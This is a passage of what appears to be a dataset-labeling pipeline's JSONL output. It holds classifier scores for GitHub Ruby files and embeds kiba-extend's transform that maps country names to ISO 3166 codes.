false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10524, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10524, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:33:09.819025+00:00", "scoring_key_slot": "primary", "dataset_uid": "3eeee400-7e4e-4396-ad2e-e3064be9c2ef", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "c3b57878c6d6e262d951a52a56c0873eeb2039d0bf34157dbc08d87ed1c45034", "source_metadata": {"uuid": "3eeee400-7e4e-4396-ad2e-e3064be9c2ef", "repo_name": "itrp/clacks", "relative_path": "lib/clacks/service.rb", "category": "TOOL", "algo_rel_score": 0.9006646871566772, "quality_score": 5.313503742218018, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 16, "repo_created_at": "2013-11-20T10:32:15.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 1, "forks": 0, "issues": 1, "pull_requests": 0}, "file_meta": {"content_id": "218c3be9079d764e06324890147ba367c2f8a50e", "size_bytes": 7895, "file_timestamp": 1481706961, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "54714facb9cc5290246fe562c107b058a683f91d"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 16, "repo_created_at": "2013-11-20T10:32:15.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 1, "forks": 0, "issues": 1, "pull_requests": 0}, "file_meta": {"content_id": "218c3be9079d764e06324890147ba367c2f8a50e", "size_bytes": 7895, "file_timestamp": 1481706961, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "54714facb9cc5290246fe562c107b058a683f91d", "url": "https://github.com/itrp/clacks/blob/54714facb9cc5290246fe562c107b058a683f91d/lib/clacks/service.rb"}, "gpt4o_tokens": 1931, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.9097643856274541, "noise_severity": 0.020110612127202245, "missing_content_severity": 0.023057561370327752, "factual_density": 3.3481568746714054, "pretraining_utility": 0.5683489859948029, "math_density": 0.1606505605008583, "code_density": 3.809703191282468, "reasoning_density": 1.012717026064623, "education_level": 2.568808373531072, "creative_writing_quality": -0.13668865637148636}, "score_applicability": {"education_level": 0.9989937894800456, "creative_writing_quality": 0.0008793271274340283}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/lyrasis/kiba-extend/blob/1497b516a61a6c404838e7dc5b08685f3921a308/lib/kiba/extend/transforms/cspace/address_country.rb", "id": "ruby-0-4b51cd4659734ff2b40a90c1c9277f44", "text": "# frozen_string_literal: true\n\n# rubocop:todo Layout/LineLength\n\nmodule Kiba\n module Extend\n module Transforms\n module Cspace\n # @since 2.8.0\n #\n # Converts existing value of :addresscountry to required optionslist\n # value for country, based on ISO 3166 code.\n #\n # Prints warnings:\n #\n # - Cannot map addresscountry: No mapping for country value: Shangri-La\n # - Cannot map addresscountry: Field `country` does not exist in source\n # data (triggered by last row)\n #\n # @note It is expected that this will need to be updated per client data\n # set. Just add required values to the LOOKUP and make a pull request.\n #\n # @example Default: source/target field is `:addresscountry`\n # # Used in pipeline as:\n # # transform Cspace::AddressCountry\n # xform = Cspace::AddressCountry.new\n # input = [\n # {addresscountry: 'Viet Nam'},\n # {addresscountry: 'Shangri-La'},\n # {addresscountry: ''},\n # {addresscountry: nil},\n # {addresscountry: 'LU'},\n # {foo: 'bar'}\n # ]\n # nomap = \"KIBA WARNING: Cannot map addresscountry: No mapping for \"\\\n # \"addresscountry value: Shangri-La\"\n # expect(xform).to receive(:warn).with(nomap)\n # nofield = \"KIBA WARNING: Cannot map addresscountry: Field \"\\\n # \"`addresscountry` does not exist in source data\"\n # expect(xform).to receive(:warn).with(nofield)\n # result = input.map{ |row| xform.process(row) }\n # expected = [\n # {addresscountry: 'VN'},\n # {addresscountry: nil},\n # {addresscountry: ''},\n # {addresscountry: nil},\n # {addresscountry: 'LU'},\n # {foo: 'bar', addresscountry: nil}\n # ]\n # expect(result).to eq(expected)\n # @example Custom source field name without `keep_orig`\n # # Used in pipeline as:\n # # transform Cspace::AddressCountry,\n # # source: :country,\n # # keep_orig: false\n # xform = Cspace::AddressCountry.new(source: :country, keep_orig: false)\n # input = [\n # {country: 'Viet Nam'},\n # {country: 'Shangri-La'},\n # {country: ''},\n # {country: nil},\n # {foo: 'bar'}\n # ]\n # result = input.map{ |row| xform.process(row) }\n # expected = [\n # {addresscountry: 'VN'},\n # {addresscountry: nil},\n # {addresscountry: ''},\n # {addresscountry: nil},\n # {foo: 'bar', addresscountry: nil}\n # ]\n # expect(result).to eq(expected)\n # @example `keep_orig`\n # # Used in pipeline as:\n # # transform Cspace::AddressCountry,\n # # source: :country,\n # # keep_orig: true\n # xform = Cspace::AddressCountry.new(\n # source: :country,\n # keep_orig: true)\n # input = [\n # {country: 'Viet Nam'},\n # {country: 'Shangri-La'},\n # {country: ''},\n # {country: nil},\n # {foo: 'bar'}\n # ]\n # result = input.map{ |row| xform.process(row) }\n # expected = [\n # {country: 'Viet Nam', addresscountry: 'VN'},\n # {country: 'Shangri-La', addresscountry: nil},\n # {country: '', addresscountry: ''},\n # {country: nil, addresscountry: nil},\n # {foo: 'bar', addresscountry: nil}\n # ]\n # expect(result).to eq(expected)\n class AddressCountry\n include SingleWarnable\n\n LOOKUP = {\n \"Afghanistan\" => \"AF\",\n \"Åland Islands\" => \"AX\",\n \"Albania\" => \"AL\",\n \"Algeria\" => \"DZ\",\n \"American Samoa\" => \"AS\",\n \"Andorra\" => \"AD\",\n \"Angola\" => \"AO\",\n \"Anguilla\" => \"AI\",\n \"Antarctica\" => \"AQ\",\n \"Antigua and Barbuda\" => \"AG\",\n \"Argentina\" => \"AR\",\n \"Armenia\" => \"AM\",\n \"Aruba\" => \"AW\",\n \"Australia\" => \"AU\",\n \"Austria\" => \"AT\",\n \"Azerbaijan\" => \"AZ\",\n \"Bahamas (the)\" => \"BS\",\n \"Bahrain\" => \"BH\",\n \"Bangladesh\" => \"BD\",\n \"Barbados\" => \"BB\",\n \"Belarus\" => \"BY\",\n \"Belgium\" => \"BE\",\n \"Belize\" => \"BZ\",\n \"Benin\" => \"BJ\",\n \"Bermuda\" => \"BM\",\n \"Bhutan\" => \"BT\",\n \"Bolivia (Plurinational State of)\" => \"BO\",\n \"Bonaire, Sint Eustatius and Saba\" => \"BQ\",\n \"Bosnia and Herzegovina\" => \"BA\",\n \"Botswana\" => \"BW\",\n \"Bouvet Island\" => \"BV\",\n \"Brazil\" => \"BR\",\n \"British Indian Ocean Territory (the)\" => \"IO\",\n \"Brunei Darussalam\" => \"BN\",\n \"Bulgaria\" => \"BG\",\n \"Burkina Faso\" => \"BF\",\n \"Burundi\" => \"BI\",\n \"Cambodia\" => \"KH\",\n \"Cameroon\" => \"CM\",\n \"Canada\" => \"CA\",\n \"Cape Verde\" => \"CV\",\n \"Cayman Islands (the)\" => \"KY\",\n \"Central African Republic (the)\" => \"CF\",\n \"Chad\" => \"TD\",\n \"Chile\" => \"CL\",\n \"China\" => \"CN\",\n \"Christmas Island\" => \"CX\",\n \"Cocos (Keeling) Islands (the)\" => \"CC\",\n \"Colombia\" => \"CO\",\n \"Comoros (the)\" => \"KM\",\n \"Congo (the)\" => \"CG\",\n \"Congo (the Democratic Republic of the)\" => \"CD\",\n \"Cook Islands (the)\" => \"CK\",\n \"Costa Rica\" => \"CR\",\n \"Côte d'Ivoire\" => \"CI\",\n \"Croatia\" => \"HR\",\n \"Cuba\" => \"CU\",\n \"Curaçao\" => \"CW\",\n \"Cyprus\" => \"CY\",\n \"Czechia\" => \"CZ\",\n \"Denmark\" => \"DK\",\n \"Djibouti\" => \"DJ\",\n \"Dominica\" => \"DM\",\n \"Dominican Republic (the)\" => \"DO\",\n \"Ecuador\" => \"EC\",\n \"Egypt\" => \"EG\",\n \"El Salvador\" => \"SV\",\n \"England\" => \"GB\",\n \"Equatorial Guinea\" => \"GQ\",\n \"Eritrea\" => \"ER\",\n \"Estonia\" => \"EE\",\n \"Ethiopia\" => \"ET\",\n \"Falkland Islands (the) [Malvinas]\" => \"FK\",\n \"Faroe Islands (the)\" => \"FO\",\n \"Fiji\" => \"FJ\",\n \"Finland\" => \"FI\",\n \"France\" => \"FR\",\n \"French Guiana\" => \"GF\",\n \"French Polynesia\" => \"PF\",\n \"French Southern Territories (the)\" => \"TF\",\n \"Gabon\" => \"GA\",\n \"Gambia (the)\" => \"GM\",\n \"Georgia\" => \"GE\",\n \"Germany\" => \"DE\",\n \"Ghana\" => \"GH\",\n \"Gibraltar\" => \"GI\",\n \"Greece\" => \"GR\",\n \"Greenland\" => \"GL\",\n \"Grenada\" => \"GD\",\n \"Guadeloupe\" => \"GP\",\n \"Guam\" => \"GU\",\n \"Guatemala\" => \"GT\",\n \"Guernsey\" => \"GG\",\n \"Guinea\" => \"GN\",\n \"Guinea-Bissau\" => \"GW\",\n \"Guyana\" => \"GY\",\n \"Haiti\" => \"HT\",\n \"Heard Island and McDonald Islands\" => \"HM\",\n \"Holy See (the)\" => \"VA\",\n \"Honduras\" => \"HN\",\n \"Hong Kong\" => \"HK\",\n \"Hungary\" => \"HU\",\n \"Iceland\" => \"IS\",\n \"India\" => \"IN\",\n \"Indonesia\" => \"ID\",\n \"Iran (Islamic Republic of)\" => \"IR\",\n \"Iraq\" => \"IQ\",\n \"Ireland\" => \"IE\",\n \"Isle of Man\" => \"IM\",\n \"Israel\" => \"IL\",\n \"Italy\" => \"IT\",\n \"Jamaica\" => \"JM\",\n \"Japan\" => \"JP\",\n \"Jersey\" => \"JE\",\n \"Jordan\" => \"JO\",\n \"Kazakhstan\" => \"KZ\",\n \"Kenya\" => \"KE\",\n \"Kiribati\" => \"KI\",\n \"Korea (the Democratic People's Republic of)\" => \"KP\",\n \"Korea (the Republic of)\" => \"KR\",\n \"Kuwait\" => \"KW\",\n \"Kyrgyzstan\" => \"KG\",\n \"Lao People's Democratic Republic (the)\" => \"LA\",\n \"Latvia\" => \"LV\",\n \"Lebanon\" => \"LB\",\n \"Lesotho\" => \"LS\",\n \"Liberia\" => \"LR\",\n \"Libya\" => \"LY\",\n \"Liechtenstein\" => \"LI\",\n \"Lithuania\" => \"LT\",\n \"Luxembourg\" => \"LU\",\n \"Macao\" => \"MO\",\n \"Macedonia (the former Yugoslav Republic of)\" => \"MK\",\n \"Madagascar\" => \"MG\",\n \"Malawi\" => \"MW\",\n \"Malaysia\" => \"MY\",\n \"Maldives\" => \"MV\",\n \"Mali\" => \"ML\",\n \"Malta\" => \"MT\",\n \"Marshall Islands (the)\" => \"MH\",\n \"Martinique\" => \"MQ\",\n \"Mauritania\" => \"MR\",\n \"Mauritius\" => \"MU\",\n \"Mayotte\" => \"YT\",\n \"Mexico\" => \"MX\",\n \"Mexico, D.F.\" => \"MX\",\n \"Mexico D.V.\" => \"MX\",\n \"Micronesia (Federated States of)\" => \"FM\",\n \"Moldova (the Republic of)\" => \"MD\",\n \"Monaco\" => \"MC\",\n \"Mongolia\" => \"MN\",\n \"Montenegro\" => \"ME\",\n \"Montserrat\" => \"MS\",\n \"Morocco\" => \"MA\",\n \"Mozambique\" => \"MZ\",\n \"Myanmar\" => \"MM\",\n \"Namibia\" => \"NA\",\n \"Nauru\" => \"NR\",\n \"Nepal\" => \"NP\",\n \"Netherlands\" => \"NL\",\n \"Netherlands (the)\" => \"NL\",\n \"New Caledonia\" => \"NC\",\n \"New Zealand\" => \"NZ\",\n \"Nicaragua\" => \"NI\",\n \"Niger (the)\" => \"NE\",\n \"Nigeria\" => \"NG\",\n \"Niue\" => \"NU\",\n \"Norfolk Island\" => \"NF\",\n \"Northern Mariana Islands (the)\" => \"MP\",\n \"Norway\" => \"NO\",\n \"Oman\" => \"OM\",\n \"Pakistan\" => \"PK\",\n \"Palau\" => \"PW\",\n \"Palestine, State of\" => \"PS\",\n \"Panama\" => \"PA\",\n \"Papua New Guinea\" => \"PG\",\n \"Paraguay\" => \"PY\",\n \"Peru\" => \"PE\",\n \"Philippines (the)\" => \"PH\",\n \"Pitcairn\" => \"PN\",\n \"Poland\" => \"PL\",\n \"Portugal\" => \"PT\",\n \"Puerto Rico\" => \"PR\",\n \"Qatar\" => \"QA\",\n \"Réunion\" => \"RE\",\n \"Romania\" => \"RO\",\n \"Russia\" => \"RU\",\n \"Russian Federation (the)\" => \"RU\",\n \"Rwanda\" => \"RW\",\n \"S\" => \"BL\",\n \"Saint Helena, Ascension and T\" => \"SH\",\n \"Saint Kitts and Nevis\" => \"KN\",\n \"Saint Lucia\" => \"LC\",\n \"Saint Martin (French part)\" => \"MF\",\n \"Saint Pierre and Miquelon\" => \"PM\",\n \"Saint Vincent and the Grenadines\" => \"VC\",\n \"Samoa\" => \"WS\",\n \"San Marino\" => \"SM\",\n \"Sao Tome and Principe\" => \"ST\",\n \"Saudi Arabia\" => \"SA\",\n \"Scotland\" => \"GB\",\n \"Senegal\" => \"SN\",\n \"Serbia\" => \"RS\",\n \"Seychelles\" => \"SC\",\n \"Sierra Leone\" => \"SL\",\n \"Singapore\" => \"SG\",\n \"Sint Maarten (Dutch part)\" => \"SX\",\n \"Slovakia\" => \"SK\",\n \"Slovenia\" => \"SI\",\n \"Solomon Islands\" => \"SB\",\n \"Somalia\" => \"SO\",\n \"South Africa\" => \"ZA\",\n \"South Georgia and the South Sandwich Islands\" => \"GS\",\n \"South Sudan\" => \"SS\",\n \"Spain\" => \"ES\",\n \"Sri Lanka\" => \"LK\",\n \"Sudan\" => \"SD\",\n \"Sudan (the)\" => \"SD\",\n \"Suriname\" => \"SR\",\n \"Svalbard and Jan Mayen\" => \"SJ\",\n \"Swaziland\" => \"SZ\",\n \"Sweden\" => \"SE\",\n \"Switzerland\" => \"CH\",\n \"Syria\" => \"SY\",\n \"Syrian Arab Republic\" => \"SY\",\n \"Taiwan\" => \"TW\",\n \"Taiwan (Province of China)\" => \"TW\",\n \"Tajikistan\" => \"TJ\",\n \"Tanzania, United Republic of\" => \"TZ\",\n \"Thailand\" => \"TH\",\n \"Timor-Leste\" => \"TL\",\n \"Togo\" => \"TG\",\n \"Tokelau\" => \"TK\",\n \"Tonga\" => \"TO\",\n \"Trinidad and Tobago\" => \"TT\",\n \"Tunisia\" => \"TN\",\n \"Turkey\" => \"TR\",\n \"Turkmenistan\" => \"TM\",\n \"Turks and Caicos Islands (the)\" => \"TC\",\n \"Tuvalu\" => \"TV\",\n \"Uganda\" => \"UG\",\n \"Ukraine\" => \"UA\",\n \"United Arab Emirates\" => \"AE\",\n \"United Arab Emirates (the)\" => \"AE\",\n \"United Kingdom\" => \"GB\",\n \"United Kingdom (UK)\" => \"GB\",\n \"United Kingdom of Great Britain and Northern Ireland (the)\" => \"GB\",\n \"United States\" => \"US\",\n \"United States of America\" => \"US\",\n \"United States of America (the)\" => \"US\",\n \"United States Minor Outlying Islands (the)\" => \"UM\",\n \"Uruguay\" => \"UY\",\n \"U.S.\" => \"US\",\n \"U.S. Virgin Islands\" => \"VI\",\n \"U.S.A.\" => \"US\",\n \"USA\" => \"US\",\n \"Uzbekistan\" => \"UZ\",\n \"Vanuatu\" => \"VU\",\n \"Venezuela (Bolivarian Republic of)\" => \"VE\",\n \"Viet Nam\" => \"VN\",\n \"Virgin Islands (British)\" => \"VG\",\n \"Virgin Islands (U.S.)\" => \"VI\",\n \"Wallis and Futuna\" => \"WF\",\n \"Western Sahara\" => \"EH\",\n \"Yemen\" => \"YE\",\n \"Zambia\" => \"ZM\",\n \"Zimbabwe\" => \"ZW\"\n }\n\n # @param source [Symbol] field containing value to look up and map\n # @param target [Symbol] field in which to write ISO 3166 code\n # @param keep_orig [Boolean] whether to delete source field after\n # mapping\n # @note If `keep_orig = false` and the source value couldn't be\n # mapped, the output will not contain the original value at all. You\n # should receive warnings to STDOUT indicating which values were\n # unmappable\n # @note `keep_orig` has no effect if you are doing an in-place\n # transform (i.e. your `source` and `target` values are the same\n def initialize(source: :addresscountry, target: :addresscountry,\n keep_orig: true)\n @source = source\n @target = target\n @keep_orig = keep_orig\n setup_single_warning\n end\n\n # @param row [Hash{ Symbol => String, nil }]\n def process(row)\n row[target] = nil unless in_place?\n row.key?(source) ? handle_source(row) : handle_missing_source(row)\n end\n\n private\n\n attr_reader :source, :target, :keep_orig\n\n def delete_source(row)\n row.delete(source) unless in_place? || keep_orig\n row\n end\n\n def do_mapping(val, row)\n row[target] = lookup(val)\n delete_source(row)\n end\n\n def lookup(val)\n return val if LOOKUP.value?(val)\n\n LOOKUP[val]\n end\n\n def handle_source(row)\n sourceval = row[source]\n return handle_blank_source(sourceval, row) if sourceval.blank?\n\n handle_source_value(sourceval, row)\n end\n\n def handle_blank_source(val, row)\n row[target] = val\n delete_source(row)\n end\n\n def handle_missing_source(row)\n add_single_warning(\"Cannot map addresscountry: Field `#{source}` \"\\\n \"does not exist in source data\")\n row[target] = nil\n row\n end\n\n def handle_source_value(val, row)\n return do_mapping(val, row) if LOOKUP.key?(val) ||\n LOOKUP.value?(val)\n\n handle_unmapped(val, row)\n end\n\n def handle_unmapped(val, row)\n add_single_warning(\"Cannot map addresscountry: No mapping for \"\\\n \"#{source} value: #{val}\")\n row[target] = nil\n delete_source(row)\n end\n\n def in_place?\n source == target\n end\n end\n end\n end\n end\nend\n# rubocop:enable Layout/LineLength\n", "text_preview": "# frozen_string_literal: true # rubocop:todo Layout/LineLength module Kiba module Extend module Transforms module Cspace # @since 2.8.0 # # Converts existing value of :addresscountry to required optionslist # value for country, based on ISO", "input_sha256": "9387fa74e25063a37b16367cd4e9d0df1fad58fa697202cf32784bb6fb5f8331", "text_sha256": "4b51cd4659734ff2b40a90c1c9277f4486bb72021355fa6fd977d6d64c557aac", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16062, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "needs_review", "training_eligible": false, "label": null, "candidate_label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": ["structured_records"]}, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": {"main_topic": "History & Geography", "sub_topic": null}}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.139040444529323, "noise_severity": 0.4161536297859761, "missing_content_severity": 0.26071783208050436, "factual_density": 3.3899822955909547, "pretraining_utility": 0.3992423745118107, "math_density": 0.01719106794656804, "code_density": 3.468956406572529, "reasoning_density": 0.9920314784188323, "education_level": 2.1284327922004787, "creative_writing_quality": -0.140557286157321}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "History & Geography"}, "review_reasons": ["secondary_topic probability 0.4807 below 0.70", "secondary_topic vs NONE margin 0.0439 below 0.10"], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.23882072277887162, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9832628033177427, "secondary": 0.4614840536662981, "tertiary": 0.7106882861312077, "structured_records": 0.977302020796533, "procedural_steps": 0.0819960811100781, "worked_solution": 0.46799321667209953, "contextual_dialogue": 5.37614056881337e-06, "content_quality": 0.497990752160705, "noise_severity": 0.6532053085116865, "missing_content_severity": 0.782735139932913, "factual_density": 0.49165191299246247, "pretraining_utility": 0.38825927660706694, "math_density": 0.9856741100445267, "code_density": 0.5574636721437742, "reasoning_density": 0.1733071013176397, "education_level": 0.7504339844509381, "creative_writing_quality": 0.9991920072243382, "primary_topic": 0.9649963863611548, "secondary_topic": 0.45994099996191967}, "probability_margin": {"primary": 0.9704385765961099, "secondary": 0.11166552864018853, "tertiary": 0.5682707181617892, "education_level": 0.642441673122089, "creative_writing_quality": 0.9990051439094935, "primary_topic": 0.9407890719361685, "secondary_topic": 0.04391781492509922}, "raw_probabilities": {"primary": {"Academic Writing": 6.299752769761257e-05, "Content Listing": 5.526613260452428e-05, "Creative Writing": 3.55825056924763e-05, "Customer Support Page": 3.8597416994625655e-05, "Q&A Forum": 2.247786786265376e-05, "Discussion Thread": 1.7602174248732097e-05, "Comment Section": 3.1654104658171864e-05, "Missing Content": 5.159078916226687e-05, "Knowledge Article": 0.00015692762184747757, "Legal Notices": 4.391961450650382e-05, "News Article": 1.3144608139494291e-05, "Organizational Announcement": 3.388952899889769e-05, "Nonfiction Writing": 2.301260495848299e-05, "Organizational About Page": 3.309388856547721e-05, "Personal About Page": 1.8508252148922764e-05, "Personal Blog": 1.5491782230925194e-05, "Product Page": 1.5879022558948336e-05, "Spam / Ads": 2.2859730695202708e-05, "Structured Data": 0.013521609916726905, "Technical Writing": 0.9839601865128368, "Transcript / Interview": 3.0967346788657026e-05, "Tutorial / How-To Guide": 0.0008143678090835573, "User Reviews": 1.2164467128463251e-05, "Other / Unknown": 0.0009682087738640683}, "secondary": {"Academic Writing": 0.0009579393489703986, "Content Listing": 0.0008714462820128544, "Creative Writing": 0.0006784400507550662, "Customer Support Page": 0.0006032214464658263, "Q&A Forum": 0.0004107955800024911, "Discussion Thread": 0.00035616949563085747, "Comment Section": 0.0005661458197370709, "Missing Content": 0.0011554138772095364, "Knowledge Article": 0.004237392540333966, "Legal Notices": 0.000558267582885678, "News Article": 0.0004898364295201514, "Organizational Announcement": 0.0006508128489740178, "Nonfiction Writing": 0.0005367483495451783, "Organizational About Page": 0.0006725578429723348, "Personal About Page": 0.0004161382466197026, "Personal Blog": 0.00037063283249775197, "Product Page": 0.00036675089649585596, "Spam / Ads": 0.0004446347110218618, "Structured Data": 0.3722566894566805, "Technical Writing": 0.09764013799483963, "Transcript / Interview": 0.0006250565448691362, "Tutorial / How-To Guide": 0.030915791519952836, "User Reviews": 0.0002967622051380632, "NONE": 0.48392221809686903}, "tertiary": {"Academic Writing": 0.0008357277353715729, "Content Listing": 0.0009062888271340632, "Creative Writing": 0.0006698033506941027, "Customer Support Page": 0.0005911334881483385, "Q&A Forum": 0.00033569965445841434, "Discussion Thread": 0.00024219880504989345, "Comment Section": 0.0004880871566198708, "Missing Content": 0.001385863009760356, "Knowledge Article": 0.004768515825156079, "Legal Notices": 0.0005568084072672592, "News Article": 0.00041993083246009207, "Organizational Announcement": 0.0004634568519418116, "Nonfiction Writing": 0.0004119070258673866, "Organizational About Page": 0.0005100345164204341, "Personal About Page": 0.00031534936260649684, "Personal Blog": 0.0002837186287490897, "Product Page": 0.0003041828147175577, "Spam / Ads": 0.0003626398289170512, "Structured Data": 0.1544722227139516, "Technical Writing": 0.047009622379748914, "Transcript / Interview": 0.0005330445015683655, "Tutorial / How-To Guide": 0.06118436154225141, "User Reviews": 0.00020646186539903614, "NONE": 0.7227429408757408}, "structured_records": {"false": 0.022697979203466945, "true": 0.977302020796533}, "procedural_steps": {"false": 0.9180039188899219, "true": 0.0819960811100781}, "worked_solution": {"false": 0.5320067833279005, "true": 0.46799321667209953}, "contextual_dialogue": {"false": 0.9999946238594312, "true": 5.37614056881337e-06}, "content_quality": {"-2": 0.004391886551053133, "-1": 0.03718412985481938, "0": 0.1441414070761173, "1": 0.44355680554977167, "2": 0.3707257709682385}, "noise_severity": {"0": 0.6648378061453982, "1": 0.277076126690959, "2": 0.04049134910169327, "3": 0.012284067356167487, "4": 0.005310650705782028}, "missing_content_severity": {"0": 0.7945463127762727, "1": 0.15856561664652555, "2": 0.040522689139468514, "3": 0.00435468859589133, "4": 0.002010692841841946}, "factual_density": {"0": 0.0016393716351592819, "1": 0.006421175988598673, "2": 0.07220062953085866, "3": 0.43979543084089456, "4": 0.4799433920044888}, "pretraining_utility": {"-2": 0.009725670549204627, "-1": 0.11912806128806393, "0": 0.3999901125561128, "1": 0.40449053431495335, "2": 0.06666562129166523}, "math_density": {"0": 0.9900078860278462, "1": 0.006467847894602147, "2": 0.0012599026803106507, "3": 0.0008540388976193983, "4": 0.0014103244996215992}, "code_density": {"0": 0.000487725210193017, "1": 0.001345812838498441, "2": 0.0766642308304049, "3": 0.3717267924103937, "4": 0.5497754387105099}, "reasoning_density": {"0": 0.4939167188497871, "1": 0.17238803223745883, "2": 0.21829995743926361, "3": 0.07853763459111565, "4": 0.03685765688237482}, "education_level": {"none": 0.0014685602144210135, "0": 0.00259236432027376, "1": 0.04160198445772696, "2": 0.7920283203757817, "3": 0.14958664725369278, "4": 0.012722123378103755}, "creative_writing_quality": {"not_applicable": 0.9993266726869485, "-2": 6.715210204589658e-05, "-1": 0.00013990755595261762, "0": 0.0003215287774550502, "1": 0.00010990705496919093, "2": 3.483182262856283e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.641179257978186e-05, "Art & Design": 9.294209349423242e-05, "Law & Crime": 0.00010125488188116552, "Education & Careers": 6.731062570221238e-05, "Entertainment & Media": 4.837171580469745e-05, "Fashion & Beauty": 6.441982547324653e-05, "Business, Economics & Finance": 0.00018230129198652171, "Food & Dining": 6.620728201151823e-05, "Games & Gaming": 0.00010096646995240241, "Electronics & Hardware": 9.185122610721785e-05, "Health, Healthcare & Wellness": 9.22540417703819e-05, "History & Geography": 0.025553607257249675, "Home, Pets & Hobbies": 7.806456687484825e-05, "Industry & Production": 7.530047341821788e-05, "Language, Literature & Philosophy": 0.00015003870492971452, "Politics & Government": 0.00044803472698428466, "Religion & Spirituality": 7.251057135634102e-05, "Science, Mathematics & Engineering": 0.00035135941689951625, "Relationships & Community": 4.3948271413556763e-05, "Software Usage & Applications": 0.0014742491795246711, "Programming & Software Engineering": 0.9663426791934181, "Sports & Fitness": 7.116775734713508e-05, "Vehicles & Transportation": 5.291975193444154e-05, "Travel & Tourism": 0.00031506154115840503, "Other / Uncovered Subject": 0.0038960788112424563, "Unknown / Insufficient Content": 0.00010068852948515342}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0011091369126540094, "Art & Design": 0.0008640240895133409, "Law & Crime": 0.0011709163187002968, "Education & Careers": 0.000509076338811277, "Entertainment & Media": 0.000535236550839958, "Fashion & Beauty": 0.0004895482520333614, "Business, Economics & Finance": 0.0009539807969405996, "Food & Dining": 0.00043368489954790827, "Games & Gaming": 0.0006296108268739214, "Electronics & Hardware": 0.0006464838620384078, "Health, Healthcare & Wellness": 0.000599803338518765, "History & Geography": 0.48071249996338433, "Home, Pets & Hobbies": 0.0007354535528606657, "Industry & Production": 0.0005394504111609607, "Language, Literature & Philosophy": 0.0004761241580889876, "Politics & Government": 0.001164894009178671, "Religion & Spirituality": 0.0006419807250508862, "Science, Mathematics & Engineering": 0.0016589831533259808, "Relationships & Community": 0.00026116585402639555, "Software Usage & Applications": 0.0026377420596121674, "Programming & Software Engineering": 0.059487209412739654, "Sports & Fitness": 0.00036420465999770994, "Vehicles & Transportation": 0.0003449681631980617, "Travel & Tourism": 0.0008966924030655937, "Other / Uncovered Subject": 0.005342444249552906, "NONE": 0.4367946850382851}}, "probabilities": {"primary": {"Academic Writing": 6.299752769761258e-05, "Content Listing": 5.526613260452429e-05, "Creative Writing": 3.558250569247631e-05, "Customer Support Page": 3.859741699462566e-05, "Q&A Forum": 2.2477867862653763e-05, "Discussion Thread": 1.76021742487321e-05, "Comment Section": 3.165410465817187e-05, "Missing Content": 5.159078916226688e-05, "Knowledge Article": 0.0001569276218474776, "Legal Notices": 4.3919614506503826e-05, "News Article": 1.3144608139494293e-05, "Organizational Announcement": 3.38895289988977e-05, "Nonfiction Writing": 2.3012604958482993e-05, "Organizational About Page": 3.3093888565477216e-05, "Personal About Page": 1.8508252148922767e-05, "Personal Blog": 1.5491782230925197e-05, "Product Page": 1.587902255894834e-05, "Spam / Ads": 2.285973069520271e-05, "Structured Data": 0.013521609916726907, "Technical Writing": 0.9839601865128369, "Transcript / Interview": 3.096734678865703e-05, "Tutorial / How-To Guide": 0.0008143678090835574, "User Reviews": 1.2164467128463253e-05, "Other / Unknown": 0.0009682087738640684}, "secondary": {"Academic Writing": 0.0009579393489703988, "Content Listing": 0.0008714462820128546, "Creative Writing": 0.0006784400507550663, "Customer Support Page": 0.0006032214464658264, "Q&A Forum": 0.0004107955800024912, "Discussion Thread": 0.0003561694956308575, "Comment Section": 0.000566145819737071, "Missing Content": 0.0011554138772095367, "Knowledge Article": 0.004237392540333967, "Legal Notices": 0.0005582675828856781, "News Article": 0.0004898364295201515, "Organizational Announcement": 0.0006508128489740179, "Nonfiction Writing": 0.0005367483495451784, "Organizational About Page": 0.0006725578429723349, "Personal About Page": 0.0004161382466197027, "Personal Blog": 0.0003706328324977521, "Product Page": 0.00036675089649585606, "Spam / Ads": 0.0004446347110218619, 